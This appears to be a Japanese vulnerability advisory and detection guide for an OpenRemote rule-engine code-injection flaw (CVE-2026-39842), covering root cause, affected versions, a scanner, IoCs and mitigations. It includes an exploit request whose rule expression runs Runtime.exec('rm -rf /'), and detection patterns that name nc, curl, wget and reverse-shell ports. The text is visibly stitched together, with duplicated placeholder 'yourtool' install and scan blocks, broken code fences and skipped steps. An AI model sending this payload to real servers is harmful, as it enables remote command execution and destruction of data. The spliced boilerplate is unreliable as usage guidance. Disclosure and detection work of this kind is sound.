Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

## 脆弱性の詳細分析

### 根本原因の分析

この脆弱性は、OpenRemoteのルールエンジンにおける2つの重大な欠陥に起因します。

**欠陥1: サンドボックス化されていないNashorn JavaScriptエンジン**

JavaのNashorn JavaScriptエンジンは、ユーザーが提供したルール式を、サンドボックス化、セキュリティマネージャー、またはClassFilterによる制限なしに評価するために使用されます。これにより、攻撃者はJavaScriptコンテキストからJavaクラスに直接アクセスできます。

**欠陥2: 無効化されたGroovyサンドボックス**

Groovyスクリプトエンジンには、コード実行を防ぐためにGroovyDenyAllFilterが登録されていましたが、このフィルタ登録はコードベース内でコメントアウトされていました。APIレベル（RulesResourceImpl.java:262）ではGroovyの強制のみが存在し、JavaScriptには制限がありませんでした。

### 脆弱なコードパス```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

つまり:
- 非スーパーユーザーでもJavaScriptルールを作成可能（ブロックなし）
- 非スーパーユーザーはGroovyルールを作成不可（ブロックされる）
- JavaScriptにはサンドボックスがないため、write:rules権限を持つ認証済みユーザーであれば誰でも悪用が可能

さらに、assetStorageServiceに対するリフレクションを介してマルチテナント分離をバイパスし、他のレルムのデータにアクセスできます。

### 攻撃フロー```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

**ステップ3: 脆弱なエンドポイントへ送信**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

#### ファイルシステムアクセス

システム上のすべてのファイルへの完全な読み取り・書き込みアクセス:

- アプリケーションのソースコード開示
- 機密設定ファイル（データベースパスワード、APIキー）
- システムファイルと認証情報
- Dockerコンテナファイル（コンテナ化されている場合）

#### 環境変数の窃取

以下を含む環境変数へのアクセス:
- データベース接続文字列
- APIキーとトークン
- OAuthシークレット
- プライベート暗号化キー
- AWS/クラウド認証情報

#### データ侵害

マルチテナント環境では、攻撃者はリフレクションを介してテナント分離を回避できます:

- すべてのテナントから同時にデータへアクセス
- 機密のIoTセンサーデータの読み取り
- 組織をまたいだ自動化ルールの改変
- ビジネスインテリジェンスと専有情報の抽出

#### システム整合性

- 永続的なバックドアのインストール
- マルウェアの展開
- ランサムウェアの実行
- サプライチェーン侵害（開発環境で使用されている場合）

#### サービス妨害

- リソース枯渇によるサービス拒否
- データベースの削除または破損
- 設定の改ざん
- システムのシャットダウンまたは再起動

---

## 影響を受けるバージョン

| バージョン | ステータス | 備考 |
|---------|--------|-------|
| <= 1.15.0 | 脆弱 | 元の脆弱性が存在 |
| 1.16.0 | 脆弱 | 修正は適用されていません |
| 1.17.0 | 脆弱 | 修正は適用されていません |
| 1.18.0 | 脆弱 | 修正は適用されていません |
| 1.19.0 | 脆弱 | 修正は適用されていません |
| 1.20.0 | 脆弱 | 修正は適用されていません |
| 1.21.0 | 脆弱 | 最後に影響を受けたバージョン |
| 1.22.0+ | 修正済み | JavaScriptルールエンジンが完全に削除されました |

### バージョン詳細

- **脆弱な範囲**: 1.0.0から1.21.0（JSルールエンジンを含むすべてのバージョン）
- **修正バージョン**: 1.22.0（JavaScriptルールエンジンが完全に削除されました）
- **バックポート**: 旧バージョン向けのセキュリティバックポートはありません。アップグレードが必要です

---

## 検出

### 仕組み

検出メカニズムは、複数の方法でOpenRemoteインスタンスを特定し、脆弱性のステータスを確認します:

1. **HTTPバナーディテクション**: APIルートエンドポイントにクエリを送信し、OpenRemoteを特定してバージョン情報を抽出します
2. **エンドポイントフィンガープリンティング**: 脆弱なエンドポイントの存在と動作をテストします
3. **バージョン相関**: 検出されたバージョンを既知の脆弱性範囲と比較します
4. **レスポンス分析**: OpenRemoteのシグネチャを示すエラーメッセージとレスポンス構造を調査します

### Pythonスキャナー

`detect_openremote.py` スキャナーは、自動検出と脆弱性評価を実行します。

#### インストール```bash
python3 -m pip install requests

#### オプション

| オプション | 短縮形 | 長縮形 | 型 | 説明 |
|--------|-------|------|------|-------------|
| ターゲット | -t | --target | string | 単一ターゲットURL（例：http://10.0.0.1:8080） |
| リスト | -l | --list | file | ターゲットのリストを含むファイル（1行に1つ） |
| 出力 | -o | --output | file | 結果をCSVファイルに書き込む |
| 詳細表示 | -v | --verbose | flag | 詳細なレスポンスを含む詳細出力を有効にする |
| タイムアウト | | --timeout | int | HTTPリクエストのタイムアウト秒数（デフォルト：10） |
| バナー | | --no-banner | flag | バナー表示をスキップする |

#### 例：単一ターゲット```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

# リポジトリをクローン
git clone https://github.com/yourusername/yourtool.git
cd yourtool

# 依存関係をインストール
pip install -r requirements.txt

# ツールを実行
python main.py --help

# 基本的なスキャン
python main.py -t target.com

# 詳細な出力
python main.py -t target.com -v

# 出力をファイルに保存
python main.py -t target.com -o results.txt

# 単一のターゲットをスキャン
python main.py -t example.com

# 複数のターゲットをスキャン
python main.py -t example.com -t example2.com

# 詳細モードでスキャン
python main.py -t example.com -v

#### 例：複数のターゲットと出力```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

| 期待される出力は `results.csv` にあります：```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

期待される詳細な出力:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

#### 使用方法```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

## インストール

```bash
# リポジトリをクローン
git clone https://github.com/yourusername/yourtool.git
cd yourtool

# 依存関係をインストール
pip install -r requirements.txt

# ツールを実行
python main.py --help

# 基本的なスキャン
python main.py -t target.com

# 詳細な出力
python main.py -t target.com -v

# 出力をファイルに保存
python main.py -t target.com -o results.txt

#### 例: 詳細スキャン```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100

### 手動検証

curlを使用して手動チェックを実行し、脆弱性を検証します:

**1. OpenRemoteのバージョンを特定する**```bash
curl -s http://target:8080/api/info | jq .

**2. ルールエンドポイントの確認**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20

If successful creation and version <= 1.21.0, the instance is vulnerable.

**4. JavaScript 実行のテスト（概念実証）**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm

Common realm names: `master`, `default`, `main`

---

## 侵害指標（IoC）

### ログ指標

アプリケーションログで以下のパターンを検索してください：

**JavaScriptペイロードを含むルール作成**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"

**Javaからの予期しないプロセス実行**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process

**データベースアクセスパターン**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)

**リバースシェルコールバック**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'

### ファイルシステムの指標

**OpenRemoteディレクトリ内の不審なファイル**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*

**Cron または永続化ジョブ**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'

**メモリ常駐ペイロード**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'

**2. API アクセスを制限する**

直ちにアップグレードできない場合は、ファイアウォール/リバースプロキシレベルで脆弱なエンドポイントへのアクセスを制限します。```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}

Delete any rules containing Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}

**5. 認証情報のローテーション**

潜在的に漏洩した可能性のあるすべての認証情報をローテーションします:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets

**2. ロール監査**

`write:rules` ロールを持つユーザーを確認し、最小化します:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'

**4. データベース監査**

特定の日付以降に作成された悪意のあるルールをデータベースで検索します:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);

### 長期的な対策（7〜30日）

**1. システムの堅牢化の完了**

- 制限付き権限（非root）でOpenRemoteをコンテナ内で実行する
- SELinuxまたはAppArmorポリシーを実装する
- 可能な場合は読み取り専用ファイルシステムを使用する
- システムレベルで監査ログを有効にする

**2. アクセス制御の実装**

- 管理者ユーザーに多要素認証を実装する
- トークン認証の代わりにAPIアクセスにOAuth2/OIDCを使用する
- すべてのロールに最小権限の原則を実装する
- 定期的なアクセスレビューと認定

**3. アプリケーションセキュリティ**

- ルールエンジンにWebアプリケーションファイアウォール（WAF）ルールを実装する
- 機密性の高いエンドポイントでリクエストレート制限を有効にする
- リクエストサイズ制限を実装する
- すべてのユーザー入力を厳密に検証する

**4. 監視とアラート**

SIEM検出ルールを展開する：```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM

---

## 参考文献

- **公式アドバイザリ**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **CVEレコード**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **NVDエントリ**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **OpenRemoteリポジトリ**: https://github.com/openremote/openremote
- **OpenRemoteセキュリティ**: https://openremote.io/security
- **CWE-94 コードインジェクション**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 ELインジェクション**: https://cwe.mitre.org/data/definitions/917.html
- **CVSS計算ツール**: https://www.first.org/cvss/calculator/3.1
- **Nashornセキュリティ**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## 著者

**Kerem Oruc**

セキュリティ研究者、脆弱性情報開示

本脆弱性に関する質問、報告、または追加情報については、責任ある情報開示のチャネルを通じて著者にご連絡ください。

---

**最終更新日**: 2026-04-16
**バージョン**: 1.0
**ステータス**: 公開